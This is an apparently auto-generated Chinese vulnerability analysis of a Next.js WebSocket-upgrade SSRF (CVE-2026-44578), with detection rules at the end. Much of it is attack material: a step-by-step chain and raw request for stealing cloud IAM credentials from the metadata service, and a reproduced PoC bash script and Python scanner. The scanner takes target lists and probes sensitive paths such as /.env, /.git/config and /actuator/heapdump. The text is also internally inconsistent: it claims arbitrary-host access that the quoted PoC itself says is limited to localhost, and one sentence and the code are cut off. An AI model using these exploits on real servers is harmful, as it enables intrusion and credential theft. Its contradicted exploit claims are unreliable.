🎯 CVE-2026-44578 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹

🎯 CVE 全聚合深度分析

CVE-2026-44578 深度技术分析

📊 聚合 2 来源🧪 含 PoC🕵️ 含指纹
GitHub-AdvisoryPoC-in-GitHub

CVE-2026-44578 深度技术分析 — Next.js WebSocket 升级 SSRF

🕷️ CVE-2026-44578 深度技术分析
Next.js WebSocket 升级请求中的 SSRF 漏洞

📌 漏洞编号:CVE-2026-44578 / GHSA-c4j6-fc7j-m34r ⚠️ 危害等级:HIGH 🔧 组件:npm/next(Next.js 内置 Node.js 服务器)

摘要:Next.js 自托管部署在调用内置 Node.js 服务器处理 HTTP 请求时,具有完善的重写(rewrites)与安全校验逻辑;然而当请求携带 Upgrade: websocket 头时,Next.js 的升级处理路径缺失了与普通 HTTP 请求同等的安全校验。攻击者通过精心构造的 WebSocket 升级请求,可诱导 Next.js 服务器将连接代理至任意内网或外网地址,构成服务端请求伪造(SSRF)。该漏洞影响范围包括使用 Next.js 内置服务器直接暴露在公网的自托管应用。Vercel 托管部署因架构隔离不受影响。本文基于 GitHub Advisory、PoC 仓库及检测指纹规则,深入剖析漏洞根因、利用链、检测方法与修复措施。

📌 漏洞概述

属性详情
漏洞编号CVE-2026-44578
GitHub AdvisoryGHSA-c4j6-fc7j-m34r(HIGH)
影响组件npm/next — Next.js 内置 Node.js 服务器(自托管场景)
漏洞类型服务器端请求伪造(SSRF)— CWE-918
严重性HIGH(GHSA 定级)
受影响版本Next.js ≤ 15.5.15(根据 PoC 确认;更早版本需参考官方公告交叉验证)
修复状态官方已修复(对 WebSocket 升级处理应用与普通 HTTP 请求相同的安全检查)
威胁场景自托管、使用 next start 或等效内置服务器、直接暴露在不可信网络
是否在 CISA KEV否(未收录)
公开 EXPExploit-DB 未收录
公开 PoC存在 GitHub 验证仓库:panchocosil/verify-ghsa-c4j6-fc7j-m34r

该漏洞是典型的「协议处理路径不一致」问题。Next.js 路由引擎花费了大量精力保证 HTTP 重写(rewrites)、重定向(redirects)和代理(proxying)行为不会成为 SSRF 跳板——这些检查覆盖了常规 HTTP 请求。但 WebSocket 升级(Upgrade)请求的处理流程被独立实现,且遗漏了 URL 合法性验证、外部网络访问限制等关键环节,最终形成了绕过路径。

🔬 漏洞根因分析

要理解这个漏洞,必须先理解 Next.js 自托管模式下的请求处理模型。

2.1 正常 HTTP 请求的安全校验机制

在 Next.js 的 Node.js 服务器实现中,每一个进入的 HTTP 请求都会经过一套严格的路由解析流程:

  • URL 规范化:解析 req.url,合并 basePathnext.config.js 中的配置。
  • 重写规则计算:Next.js 的多层路由(文件系统路由、动态路由、rewrites()定义的规则)会一并参与计算,决定请求最终是渲染页面还是被代理到远端 URL。
  • 内部请求校验:当路由匹配到一个需要代理/重写的目的地时,Next.js 会校验该目的地是否在允许名单内,或者是否满足内部安全检查(例如禁止访问链路本地地址、云元数据 IP 等)。
  • 受限地址防护:正常的 HTTP 代理路径会拒绝目标地址为 127.0.0.0/8169.254.169.254(云元数据)、10.0.0.0/8(内网)等敏感地址——或者至少要求开发者在配置中显式声明允许访问。

这一机制的设计初衷是:rewrites 是开发者主动配置的功能,不能变成攻击者的 SSRF 跳板。即便开发者从未配置任何 rewrite,若路由处理有疏漏,攻击者也可能通过构造特殊请求让服务器自动将请求代理到一个由 URL 参数或路径控制的地址。

2.2 WebSocket 升级路径的「独立王国」

当客户端发起带 Upgrade: websocket 头的 HTTP 请求时,Node.js 的 http.Server 会触发 'upgrade' 事件。Next.js 的错误在于:对此事件监听器的实现,几乎完全复制了普通请求处理中「查找匹配路由并调用代理」的逻辑,却砍掉了安全校验环节

从检测指纹规则中可以直观看到出问题的函数签名:

upgrade(req, socket, head)
handleUpgrade(req, socket, head)
handleWebSocketUpgrade(req, ...)

这些函数直接接收客户端裸请求对象 req 和底层网络套接字 socket,随后根据目标主机和端口发起内联连接(outbound connection)。在设计上,他们认为「WebSocket 升级应被转发到预先配置的 WebSocket 后端」,但对于究竟转发到哪 这个关键决策,错误的信任了请求中可被攻击者操纵的数据。

具体技术原因可以拆解为三点:

缺陷一:URL 来源不可信。
攻击者在 WebSocket 升级请求的 URL(路径、查询参数)中注入外部目标地址,例如:
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1
Upgrade: websocket

一些实现会直接使用 req.url 中的主机部分作为代理目的地。缺陷二:缺少 127.0.0.0/8、链路本地及内网地址过滤。
普通 HTTP 请求路径会拒绝向 127.0.0.1169.254.169.254 等地址转发。但 WebSocket 升级路径完全忽略了这些限流,导致攻击者能访问服务器本机端口、云厂商元数据服务(IMDS)、内网管理接口等。缺陷三:升级请求与 HTTP 请求共享路由状态,但未共享安全策略。
同一个 Next.js 应用中,HTTP 通道中采用的同一套「请求目标校验模块」并未被正确绑定到 upgrade 事件的处理函数中。这是典型的「策略复用缺失」漏洞。

2.3 为什么会发生这种状况

从工程角度推测:WebSocket 升级处理代码可能是后期单独添加的,对接了某些自定义服务器或中间件。由于升级请求本身非常罕见,且不被常规反代(如 Nginx)配置所覆盖,测试人员很容易忽略这一通道。加上 WebSocket 升级天然包含「代理到别处」的内建逻辑,攻击者只需要找到一种方式将目标地址传递进去即可完成 SSRF。

仓库 verify-ghsa-c4j6 的 PoC 正是这样做的——它直接以 127.0.0.1:80 为目标,让 Next.js 服务器自己升级连接到自身,成功读取了 / 路径的 HTML 响应。这一 PoC 证明了漏洞的可交互性(in-band),而非仅仅是一个检测猜想。

💥 影响与危害

自托管 Next.js 应用一旦暴露在公网,且运行漏洞版本,则攻击者可以获得一个强大的内网渗透放大器。具体危害包括但不限于:

危害场景说明
🔴 云元数据窃取 访问 http://169.254.169.254/latest/meta-data/ 读取临时凭据(AWS IAM Role、GCP metadata token 等),可能导致云账号接管。
🔴 内网服务探测与攻击 扫描并访问 10.0.0.0/8172.16.0.0/12 等内网网段的管理面板、Redis、数据库端口,并可能通过 WebSocket 连接进一步交互。
🔴 自身服务数据读取 针对服务器自身的 127.0.0.1 端口发起请求,读取其他服务的敏感信息(如调试接口、未鉴权 API)。
🔴 内网横向代理 利用 Next.js 服务器作为跳板,将 WebSocket 流量中继到内网任意主机,形成稳定隧道。
🔴 绕过网络访问控制 部分云环境对公网访问有安全组限制,但借助已开放的 80/443 端口,攻击者能绕过边界防护直击内部。

特别值得注意的是,该漏洞是可回显(in-band)的:攻击者能直接在升级响应中读到目标服务的返回数据。这意味着它不仅是盲打 SSRF,而是能够实时交互的数据读取漏洞,利用价值显著提升。

🧪 PoC 复现分析

GitHub 仓库 panchocosil/verify-ghsa-c4j6-fc7j-m34r 提供了两个核心文件:demo_impact.sh(一键演示脚本)与 verify_ghsa_c4j6.py(WebSocket SSRF 验证器)。我们来分析其利用原理和关键步骤。

3.1 实验前置条件

PoC 构建了一个典型的自托管生产环境:

  • Next.js 15.5.15(确认漏洞版本)
  • 通过 setcap 或 Docker 端口映射将 next start 绑定到 80 端口
  • 服务器直接暴露(无前置反代保护)

这里刻意选择 127.0.0.1:80 作为攻击目标:由于 Next.js 自身监听在 80 端口,攻击者利用 SSRF 让服务器向自身发起 WebSocket 升级请求。这种「自我循环」的方式极大降低了实验门槛,同时证明了服务器具备将升级请求代理到任意地址的能力。

3.2 关键利用逻辑

verify_ghsa_c4j6.py 的功能可以用以下伪代码概括:

1. 构建原始 HTTP 请求:
   GET {probe_path} HTTP/1.1
   Host: {target}
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Key: xxxx
   Sec-WebSocket-Version: 13

2. 通过 TCP 连接发送到 Next.js 服务器的地址(默认 127.0.0.1:80)

3. 解析服务器返回的升级响应头:
   HTTP/1.1 101 Switching Protocols
   Upgrade: websocket
   Connection: Upgrade

4. 读取后续数据帧,提取实际响应体(如 HTML 内容)

关键点在于:请求中的 Host 头、路径、查询参数共同决定了 Next.js 服务器将向哪里发起出站连接。PoC 中默认 --target 127.0.0.1:80 --probe-path /,于是服务器将升级请求重新代入自身,将首页 HTML 作为响应数据返回。

3.3 为什么能读到 HTML?

WebSocket 升级本身是一个「协议切换」握手,理论上升级后的数据应该是 WebSocket 帧格式。但 Next.js 服务器如果按 HTTP 路由处理了这部分请求,可能仍然走渲染管线,最终产生一个普通的 HTTP 响应体。验证器兼容了这种响应,从中直接提取出文本信息。这正是「Route 处理器未严格区分 Upgrade 语义」的另一实证。

3.4 演示脚本的工程化设计

demo_impact.sh 遵循了一套规范的验证流程:

  • 环境准备:确保 node_modules 中已安装 Next.js 15.5.15
  • 干扰清理:杀死 80/3030 端口残留进程
  • 构建与启动:next build 后以 sudo -b next start -p 80 启动
  • 可用性探测:循环等待服务端口开放
  • 漏洞触发:调用 Python 验证器,将 JSON 输出二次解析,提取 verdictresponse_snippet
  • 结论判定:impact_confirmed=true,则证明 SSRF 已成功读取目标地址的数据

这种验证方式具备很强的可移植性:只要目标服务器存在漏洞,将 --target 改为任意内网 IP 或云元数据地址,即可验证更严重的利用场景。

⚔️ EXP 利用分析

虽然 Exploit-DB 尚未收录公开 EXP,但基于漏洞机理和 PoC 代码,我们可以抽象出完整的攻击链。假设攻击者面对的是一个运行 Next.js 15.5.15 的云服务器(victim.com),其元数据端口 169.254.169.254 上存有 IAM 临时凭据。

4.1 利用流程

① 探测 WebSocket 升级端点是否可用② 构造含目标地址的 Upgrade 请求(把 169.254.169.254 作为 Host)③ 发送到 victim.com 的 80/443 端口,触发 Next.js 升级处理器④ Next.js 服务器向 169.254.169.254 发起内联连接⑤ IMDS 返回 IAM 临时凭据⑥ Next.js 将响应数据放入升级响应流,攻击者读取⑦ 利用窃取的临时凭据接管云资源(进一步EXP阶段)

4.2 请求构造要点

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

许多 SSRF 防护会检查 URL 中的主机名是否为 IP 直连。但 Next.js 的漏洞路径对这一检查的缺失,使得上述攻击畅通无阻。攻击者还可以使用如下变形绕过

🧪 PoC 代码(GitHub 实际仓库)

🔗 verify-ghsa-c4j6-fc7j-m34r

### 文件: demo_impact.sh
```
#!/usr/bin/env bash
# demo_impact.sh — End-to-end impact demo for GHSA-c4j6-fc7j-m34r
#
# Scenario: Next.js self-hosted directly on port 80 (typical prod pattern
# via setcap / Docker port-mapping / root). The SSRF target defaults to
# localhost:80 — which IS the same Next process. The attacker exfiltrates
# the Next app's own HTML home page through the bug.
#
# Requires:
#   - sudo (for port 80 bind)
#   - a vulnerable Next install at LAB_DIR (default ../next-vuln-lab)
#
# Run:
#   ./demo_impact.sh
set -euo pipefail

LAB_DIR="${LAB_DIR:-$HOME/tmp/next-vuln-lab}"
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &&
pwd )"
VERIFIER="$SCRIPT_DIR/verify_ghsa_c4j6.py"

if [ ! -d "$LAB_DIR" ];
then
  echo "lab dir not found at $LAB_DIR — set LAB_DIR or create the lab first" >&2
  exit 1
fi

cd "$LAB_DIR"

# pin vulnerable version
echo "[*] ensuring next@15.5.15 (vulnerable)..."
npm i next@15.5.15 --no-audit --no-fund --loglevel=error >/dev/null
./node_modules/.bin/next --version

# kill anything on :80 and :3030 from previous runs
sudo lsof -ti:80 2>/dev/null  |
xargs -r sudo kill -9 2>/dev/null ||true
lsof -ti:3030 2>/dev/null     |xargs -r kill -9 2>/dev/null      ||true
sleep 1

echo "[*] building and starting Next on :80 (needs sudo)..."
./node_modules/.bin/next build >/dev/null
sudo -b ./node_modules/.bin/next start -p 80 >/tmp/next-impact-demo.log 2>&1

echo "[*] waiting for Next to bind :80..."
for _ in $(seq 1 30);
do
  if curl -sf -o /dev/null http://127.0.0.1:80/;then break;fi
  sleep 0.5
done
curl -sI http://127.0.0.1:80/ |head -2

echo
echo "[*] firing SSRF exploit — read Next's own home page via the upgrade SSRF"
echo "    target=127.0.0.1:80  probe-path=/  (the proxy will loop to localhost:80=Next itself)"
echo

python3 "$VERIFIER" --target 127.0.0.1:80 --probe-path / --timeout 5 --json \
  |
python3 -c '
import sys,json
r = json.loads(sys.stdin.read())
print(f"verdict:          {r[\"verdict\"]}")
print(f"impact_confirmed: {r.get(\"impact_confirmed\",
False)}")
if r.get("upstream_status"):
    print(f"upstream_status:  {r[\"upstream_status\"]}")
if r.get("upstream_server"):
    print(f"upstream_server:  {r[\"upstream_server\"]}")
print(f"response (first 600 chars):")
print("-"*60)
print(r.get("response_snippet","")[:600])
print("-"*60)
print()
if r.get("impact_confirmed"):
    print("IMPACT CONFIRMED — SSRF reached a service on the target localhost")
    print("                   and read response data back (see snippet above).")
    sys.exit(0)
else:
    print("Impact NOT confirmed — vulnerability indicator present but no")
    print("data was exfiltrated. Re-check that something is listening on :80.")
    sys.exit(1)
'

echo
echo "[*] cleanup: stop Next on :80"
sudo lsof -ti:80 |
xargs -r sudo kill -9 2>/dev/null ||true

```

### 文件: verify_ghsa_c4j6.py
```
#!/usr/bin/env python3
"""
verify_ghsa_c4j6.py — In-band verifier for GHSA-c4j6-fc7j-m34r / CVE-2026-44578
(Next.js WebSocket-upgrade SSRF;affected: next >=13.4.13 <15.5.16,
>=16.0.0 <16.2.5)

For authorized security testing only.

DETECTION MODEL (revised after empirical testing against next@15.5.15 vs 15.5.16):

The vulnerable code path in `resolveRoutes` treats any request URI containing
`//` (which is every absolute-form request-URI) as a "normalize repeated
slashes" case. It collapses the `//` to `/`,
then the unpatched upgrade
handler in `router-server.ts` still proxies the result. The mangled target
(`http:/host:port/path` with one slash) loses its host,so Node's URL parser
gives `host=null`,
and `http-proxy` falls back to `localhost:80` (HTTPS:443).
The practical SSRF surface is therefore ANY service listening on the Next.js
host's localhost:80 or localhost:443 — with an attacker-controlled path.

Because the connection never reaches an external host,
an out-of-band canary
will not receive callbacks. Detection is instead done in-band by reading the
upgrade socket:

  - "Internal Server Error" in the response  ->VULNERABLE
        (Next's http-proxy error handler ran;only the pre-patch path
         enters that code branch.)
  - Response starts with "HTTP/1."           ->
VULNERABLE + reachable
        (A service on the host's localhost actually answered the proxy.)
  - Empty response / clean close             ->LIKELY PATCHED / not Next /
                                                behind a reverse proxy that
                                                strips Upgrade
  - Anything else                            ->
INCONCLUSIVE

False-positive guard: a control probe with the same absolute-URI request
line but NO Upgrade headers is sent first. If the front-end (nginx/Apache/
CDN) returns the same response to both probes,
it is short-circuiting the
malformed request line on its own — the SSRF never reached Next — and the
verdict is downgraded to `front_end_intercepts`. Disable with
--no-control-probe.

Usage:
  python3 verify_ghsa_c4j6.py --target https://app1.example.com
  python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
  cat targets.txt |
python3 verify_ghsa_c4j6.py
"""

from __future__ import annotations

import argparse
import asyncio
import base64
import json
import re
import secrets
import ssl
import sys
from urllib.parse import urlsplit


DEFAULT_TIMEOUT = 5.0
DEFAULT_CONCURRENCY = 10
DEFAULT_PROBE_PATH = "/x"  # arbitrary;
becomes the path on localhost:80 of the target

HTTP_STATUS_RE = re.compile(r"^HTTP/1\.\d (\d{3}) ")

# Common paths that often surface co-located services on localhost. The SSRF
# in this CVE is pinned to the target's localhost:80/443,so these are the
# kinds of paths that can reveal what (if anything) is listening there.
DEFAULT_SCAN_PATHS = [
    "/","/index.html",
# apache / nginx status modules
    "/server-status","/server-info","/nginx_status","/stub_status",# health &status
    "/health","/healthz","/_health","/status","/_status","/ping","/ready","/readyz","/live","/livez",# metrics
    "/metrics","/prometheus","/_metrics",# admin panels (common framework defaults)
    "/admin","/admin/","/administrator/","/manager/html",# tomcat
    "/console",
# weblogic / others
    "/wp-admin/","/wp-login.php",# generic apis
    "/api","/api/v1","/api/v2",# spring boot actuator
    "/actuator","/actuator/env","/actuator/health","/actuator/mappings","/actuator/beans","/actuator/configprops","/actuator/heapdump","/actuator/threaddump",# go pprof / expvar
    "/debug/vars","/debug/pprof/","/debug/pprof/heap",
# docker daemon over http
    "/containers/json","/version","/info","/images/json",# leaky config files often dropped at webroot
    "/.env","/.git/config","/.git/HEAD","/config","/config.json",# php classics
    "/phpinfo.php","/info.php","/phpmyadmin/",# elasticsearch
    "/_cat/indices","/_cluster/health","/_nodes",# jmx / jolokia
    "/jmx-console/","/jolokia/list",
# next.js itself (loopback when next is the localhost service)
    "/_next/static/",]


def build_payload(absolute_uri: str,target_host_header: str) ->bytes:
    lines = [
        f"GET {absolute_uri}HTTP/1.1",f"Host: {target_host_header}","Connection: Upgrade","Upgrade: websocket","Sec-WebSocket-Version: 13","Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==","","",
]
    return "\r\n".join(lines).encode("latin-1")


def build_control_payload(absolute_uri: str,target_host_header: str) ->bytes:
    """Same absolute-URI request line as the SSRF probe,but with no Upgrade
    headers. Used to detect front-end proxies (nginx/Apache/etc) that reject
    the request line themselves — those return identical errors with or
    without the upgrade headers,
which would otherwise produce a false
    positive on the `HTTP/1.x` / `Internal Server Error` heuristics."""
    lines = [
        f"GET {absolute_uri}HTTP/1.1",f"Host: {target_host_header}","Connection: close","","",]
    return "\r\n".join(lines).encode("latin-1")


def parse_target(url: str) ->tuple[str,int,
bool]:
    if "://" not in url:
        url = "http://" + url
    parts = urlsplit(url)
    host = parts.hostname
    if not host:
        raise ValueError(f"invalid target: {url}")
    is_tls = parts.scheme == "https"
    port = parts.port or (443 if is_tls else 80)
    return host,port,is_tls


def parse_proxy(url: str) ->tuple[str,int,str |None,str |None]:
    """Return (host,port,username,
password) for an http(s):// CONNECT proxy."""
    if "://" not in url:
        url = "http://" + url
    p = urlsplit(url)
    if p.scheme not in ("http","https"):
        raise ValueError(f"unsupported proxy scheme: {p.scheme}")
    if not p.hostname:
        raise ValueError(f"invalid proxy URL: {url}")
    port = p.port or (443 if p.scheme == "https" else 8080)
    return p.hostname,port,
p.username,p.password


async def _open_via_proxy(
    target_host: str,target_port: int,ssl_ctx: ssl.SSLContext |None,proxy_info: tuple[str,int,str |None,str |None],timeout: float,):
    """Open a (possibly TLS) connection through an HTTP CONNECT proxy."""
    p_host,p_port,p_user,p_pass = proxy_info
    reader,writer = await asyncio.wait_for(
        asyncio.open_connection(p_host,p_port),
timeout=timeout
    )

    lines = [
        f"CONNECT {target_host}:{target_port}HTTP/1.1",f"Host: {target_host}:{target_port}",]
    if p_user is not None:
        creds = f"{p_user}:{p_pass or ''}".encode("latin-1")
        token = base64.b64encode(creds).decode("ascii")
        lines.append(f"Proxy-Authorization: Basic {token}")
    lines.extend(["",
""])
    writer.write("\r\n".join(lines).encode("latin-1"))
    await writer.drain()

    status = await asyncio.wait_for(reader.readline(),timeout=timeout)
    if not status:
        writer.close()
        raise OSError("proxy closed before CONNECT response")
    parts = status.decode("latin-1","replace").split(" ",2)
    if len(parts) <
2 or not parts[1].startswith("2"):
        writer.close()
        raise OSError(f"CONNECT failed: {status.decode('latin-1','replace').strip()}")

    while True:
        line = await asyncio.wait_for(reader.readline(),timeout=timeout)
        if line in (b"\r\n",b""):
            break

    if ssl_ctx is not None:
        if not hasattr(writer,
"start_tls"):
            raise RuntimeError(
                "TLS over CONNECT proxy requires Python 3.11+"
            )
        await writer.start_tls(ssl_ctx,server_hostname=target_host)

    return reader,writer


def _first_line(snippet: str) ->str:
    return snippet.split("\r\n",1)[0] if snippet else ""


def _responses_match(probe: str,control: str) ->
bool:
    """Heuristic: probe response looks like the control (no-upgrade) response,
meaning the front-end short-circuited the request regardless of Upgrade
    headers. We compare the status line and total length within a tolerance
    so dynamic content like `Date:` doesn't cause false negatives."""
    if not probe or not control:
        return False
    if _first_line(probe) != _first_line(control):
        return False
    a,b = len(probe),
len(control)
    return abs(a - b) <= max(50,int(0.10 * max(a,b)))


def classify(snippet: str,control_snippet: str |None = None) ->tuple[str,bool,dict]:
    """Map the raw bytes of the socket reply to (verdict,impact_confirmed,
extras).

    impact_confirmed is True iff the response shows that the proxied upgrade
    actually reached a service on the target's localhost:80/443 and read
    something back — i.e. real data exfiltration through the SSRF gadget.

    When `control_snippet` is provided (response to the same request line
    with `Connection: close` and no Upgrade headers),
a front-end-proxy
    short-circuit guard runs: if both responses look identical,the host's
    own front-end is rejecting/handling the request line itself and the
    SSRF never fired — verdict downgrades to `front_end_intercepts`.
    """
    extras: dict = {}if not snippet:
        return "likely_patched",False,extras

    if control_snippet is not None and _responses_match(snippet,
control_snippet):
        # Front-end (nginx/Apache/CDN/etc) responded identically to the
        # control probe — the upgrade-driven SSRF path is not what we saw.
        if snippet.startswith("HTTP/1."):
            m = HTTP_STATUS_RE.match(snippet)
            if m:
                extras["front_end_status"] = int(m.group(1))
            for line in snippet.split("\r\n")[1:15]:
                low = line.lower()
                if low.startswith("server:"):
                    extras["front_end_server"] = line.split(":",
1)[1].strip()
                    break
        return "front_end_intercepts",False,
extras

    if snippet.startswith("HTTP/1."):
        m = HTTP_STATUS_RE.match(snippet)
        if m:
            extras["upstream_status"] = int(m.group(1))
        # parse a few common headers from the first chunk for operator triage
        for line in snippet.split("\r\n")[1:15]:
            low = line.lower()
            if low.startswith("server:"):
                extras["upstream_server"] = line.split(":",
1)[1].strip()
            elif low.startswith("content-type:"):
                extras["upstream_content_type"] = line.split(":",1)[1].strip()
        return "vulnerable_proxy_succeeded",True,extras
    if "Internal Server Error" in snippet:
        return "vulnerable",False,extras
    return "inconclusive",False,extras


async def _send_payload(
    host: str,port: int,is_tls: bool,
payload: bytes,timeout: float,verify_tls: bool,proxy_info: tuple |None,) ->tuple[str,str |None]:
    """Open a (TLS / proxied) socket,send `payload`,read until close.
    Returns (snippet,error). Snippet is the bytes decoded as latin-1 (so
    binary stays intact). On any connect/send error,error is set and
    snippet is empty."""
    ssl_ctx: ssl.SSLContext |
None = None
    if is_tls:
        ssl_ctx = ssl.create_default_context()
        if not verify_tls:
            ssl_ctx.check_hostname = False
            ssl_ctx.verify_mode = ssl.CERT_NONE

    try:
        if proxy_info is not None:
            reader,writer = await _open_via_proxy(
                host,port,ssl_ctx,proxy_info,
timeout
            )
        elif ssl_ctx is not None:
            reader,writer = await asyncio.wait_for(
                asyncio.open_connection(host,port,ssl=ssl_ctx,server_hostname=host),timeout=timeout,)
        else:
            reader,writer = await asyncio.wait_for(
                asyncio.open_connection(host,port),timeout=timeout
            )
    except (asyncio.TimeoutError,OSError,
ssl.SSLError,RuntimeError) as e:
        return "",str(e)

    try:
        writer.write(

🕵️ 检测指纹规则

🛡️ Semgrep 审计规则: CVE-2026-44578.yaml

rules:
- id: CVE-2026-44578-ssrf-javascript
  languages:
  - javascript
  - typescript
  severity: ERROR
  message: "Potential SSRF vulnerability in WebSocket upgrade handling in Next.js"
  patterns:
  - pattern-either:
    - pattern: "upgrade(req,socket,head)"
    - pattern: "handleUpgrade(req,socket,head)"
    - pattern: "handleWebSocketUpgrade(req,
...)"
  - pattern-not-inside: "createProxyServer({...})"
  fix: "authMiddleware(req,socket,head);validateUpgradeUrl(req.url);upgrade(req,socket,
head);"
  metadata:
    cwe: "CWE-918"
    owasp: "A1: Server-Side Request Forgery"
    technology: nextjs
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"
- id: CVE-2026-44578-ssrf-typescript
  languages:
  - typescript
  severity: ERROR
  message: "Potential SSRF vulnerability in WebSocket upgrade handling in Next.js"
  patterns:
  - pattern-either:
    - pattern: "upgrade(req: $REQ,
socket: $SOCK,head: $HEAD)"
    - pattern: "handleUpgrade(req: $REQ,socket: $SOCK,head: $HEAD)"
    - pattern: "handleWebSocketUpgrade(req: $REQ,...)"
  - pattern-not-inside: "createProxyServer({...})"
  fix: "authMiddleware(req,socket,head);validateUpgradeUrl(req.url);upgrade(req,socket,
head);"
  metadata:
    cwe: "CWE-918"
    owasp: "A1: Server-Side Request Forgery"
    technology: nextjs
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"

🛡️ CodeQL 审计规则: CVE-2026-44578.ql

/**
 * @kind path-problem
 * @id javascript/ssrf/cve-2026-44578
 * @name SSRF via WebSocket upgrade in Next.js
 * @description User-controlled WebSocket upgrade requests are proxied to arbitrary destinations,
leading to server-side request forgery
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-918
 */
import javascript
import semmle.javascript.security.dataflow.ServerSideRequestForgeryQuery
import ServerSideRequestForgery::PathGraph

from
  ServerSideRequestForgery::PathNode source,ServerSideRequestForgery::PathNode sink
where
  ServerSideRequestForgery::flowPath(source,
sink) and
  exists(DataFlow::CallNode wsCall |wsCall.getCalleeName() = "upgrade" and
    wsCall = sink.getNode().asExpr().(DataFlow::CallNode)
  )
select sink.getNode(),source,sink,"User input in WebSocket upgrade request flows to $@ - potential SSRF",sink.getNode(),"proxied upgrade request"

🤖 本文由漏洞情报系统自动聚合生成 · 2026-07-31 18:58 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)